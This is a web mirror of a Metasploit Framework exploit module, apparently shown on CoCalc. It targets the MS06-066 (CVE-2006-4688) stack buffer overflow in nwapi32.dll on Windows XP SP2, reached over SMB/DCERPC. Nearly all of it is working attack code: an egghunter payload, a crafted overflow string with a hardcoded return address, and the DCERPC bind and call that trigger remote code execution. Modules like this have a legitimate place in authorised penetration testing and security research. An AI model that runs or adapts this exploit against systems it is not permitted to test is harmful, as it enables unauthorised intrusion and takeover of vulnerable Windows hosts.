CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ms06_066_nwapi.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Egghunter
10
include Msf::Exploit::Remote::DCERPC
11
include Msf::Exploit::Remote::SMB::Client
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'MS06-066 Microsoft Services nwapi32.dll Module Exploit',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the svchost service when the netware
18
client service is running. This specific vulnerability is in the nwapi32.dll module.
19
},
20
'Author' => [ 'pusscat' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2006-4688'],
25
[ 'OSVDB', '30260'],
26
[ 'BID', '21023'],
27
[ 'MSB', 'MS06-066'],
28
29
],
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'thread',
33
},
34
'Privileged' => true,
35
'Payload' =>
36
{
37
'Space' => 296,
38
'BadChars' => "",
39
'Compat' =>
40
{
41
# -ws2ord XXX?
42
},
43
'StackAdjustment' => -3500,
44
},
45
'Platform' => 'win',
46
'Targets' =>
47
[
48
[
49
'Windows XP SP2',
50
{
51
'Ret' => 0x00EBEEEC ,
52
},
53
]
54
],
55
'DefaultTarget' => 0,
56
'DisclosureDate' => '2006-11-14'))
57
58
register_options(
59
[
60
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']),
61
])
62
end
63
64
def exploit
65
# [in] [unique] wchar *
66
# [in] wchar *
67
# [in, out] long
68
# [out] handle
69
70
# Generate the egghunter payload
71
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
72
egg = hunter[1]
73
#print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}")
74
75
# Add giant blocks of guard data before and after the egg
76
eggdata =
77
rand_text(1024) +
78
egg +
79
rand_text(1024)
80
81
buflen = 295
82
ofstring = Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + rand_text(buflen-hunter[0].length) +
83
[ target.ret ].pack('V') + "\x00"
84
#ofstring = Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00"
85
86
stubdata =
87
NDR.long(rand(0xffffffff)) +
88
NDR.UnicodeConformantVaryingString("\\\\BBBB") +
89
NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) + # HERE!
90
#NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") +
91
NDR.long(rand(0xffffffff)) +
92
NDR.long(rand(0xffffffff)) +
93
#NDR.long((ofstring.length * 2) + 0xC) +
94
eggdata
95
96
print_status("Connecting to the SMB service...")
97
connect()
98
smb_login()
99
100
handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
101
print_status("Binding to #{handle} ...")
102
dcerpc_bind(handle)
103
print_status("Bound to #{handle} ...")
104
105
print_status("Calling the vulnerable function...")
106
107
begin
108
dcerpc.call(0x09, stubdata)
109
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
110
print_status('Server did not respond, this is expected')
111
rescue => e
112
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
113
print_status('Server disconnected, this is expected')
114
else
115
raise e
116
end
117
else
118
print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
119
end
120
121
# Cleanup
122
handler
123
disconnect
124
125
if (dcerpc.last_response != nil and
126
dcerpc.last_response.stub_data != nil and
127
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
128
return true
129
else
130
return false
131
end
132
end
133
end
134
135